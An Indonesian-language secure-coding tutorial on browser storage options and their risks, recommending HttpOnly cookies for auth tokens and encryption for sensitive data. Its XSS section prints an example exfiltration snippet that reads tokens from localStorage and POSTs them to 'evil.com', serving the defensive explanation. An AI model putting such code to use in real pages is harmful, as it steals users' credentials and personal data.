Penyimpanan Data di Browser
Browser menyediakan beberapa mekanisme penyimpanan data. Masing-masing memiliki karakteristik keamanan yang berbeda, dan memilih yang salah bisa membuka celah keamanan.
Opsi Penyimpanan
- Cookie — Dikirim otomatis ke server, ada flag keamanan (HttpOnly, Secure, SameSite)
- localStorage — Persistent, accessible via JavaScript, per origin
- sessionStorage — Hilang saat tab ditutup, accessible via JavaScript, per tab
- IndexedDB — Database NoSQL di browser, accessible via JavaScript
Risiko Keamanan
localStorage dan XSS
// Jika ada vulnerability XSS, penyerang bisa:
// Membaca SEMUA data di localStorage
const token = localStorage.getItem("auth_token");
const userData = localStorage.getItem("user_data");
// Mengirim ke server penyerang
fetch("https://evil.com/steal", {
method: "POST",
body: JSON.stringify({ token, userData })
});
// JANGAN simpan token autentikasi di localStorage!
Perbandingan Keamanan
// Cookie HttpOnly — TIDAK bisa diakses JavaScript
// Paling aman untuk session/auth token
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
// localStorage — BISA diakses JavaScript
// Jangan untuk data sensitif
localStorage.setItem("theme", "dark"); // OK
localStorage.setItem("auth_token", "xxx"); // JANGAN!
// sessionStorage — sama rentan seperti localStorage
// Tapi hilang saat tab ditutup
sessionStorage.setItem("temp_data", "..."); // OK untuk data sementara
Rekomendasi Penyimpanan
- Auth tokens → HttpOnly cookie (tidak bisa dicuri via XSS)
- User preferences → localStorage (theme, language — tidak sensitif)
- Form draft → sessionStorage (hilang saat tab ditutup)
- Offline data → IndexedDB (dengan enkripsi jika sensitif)
Enkripsi Data di Browser
// Jika harus menyimpan data sensitif di browser, enkripsi terlebih dahulu
// Web Crypto API
async function encryptData(data, key) {
const iv = crypto.getRandomValues(new Uint8Array(12));
const encoded = new TextEncoder().encode(JSON.stringify(data));
const encrypted = await crypto.subtle.encrypt(
{ name: "AES-GCM", iv },
key,
encoded
);
return { iv: Array.from(iv), data: Array.from(new Uint8Array(encrypted)) };
}
// Simpan encrypted data
const encrypted = await encryptData(sensitiveData, cryptoKey);
localStorage.setItem("encrypted_data", JSON.stringify(encrypted));
Best Practices
- Jangan simpan auth tokens di localStorage/sessionStorage
- Gunakan HttpOnly cookies untuk data autentikasi
- Enkripsi data sensitif sebelum disimpan di browser storage
- Clear sensitive data saat user logout
- Pertimbangkan session expiry untuk data di browser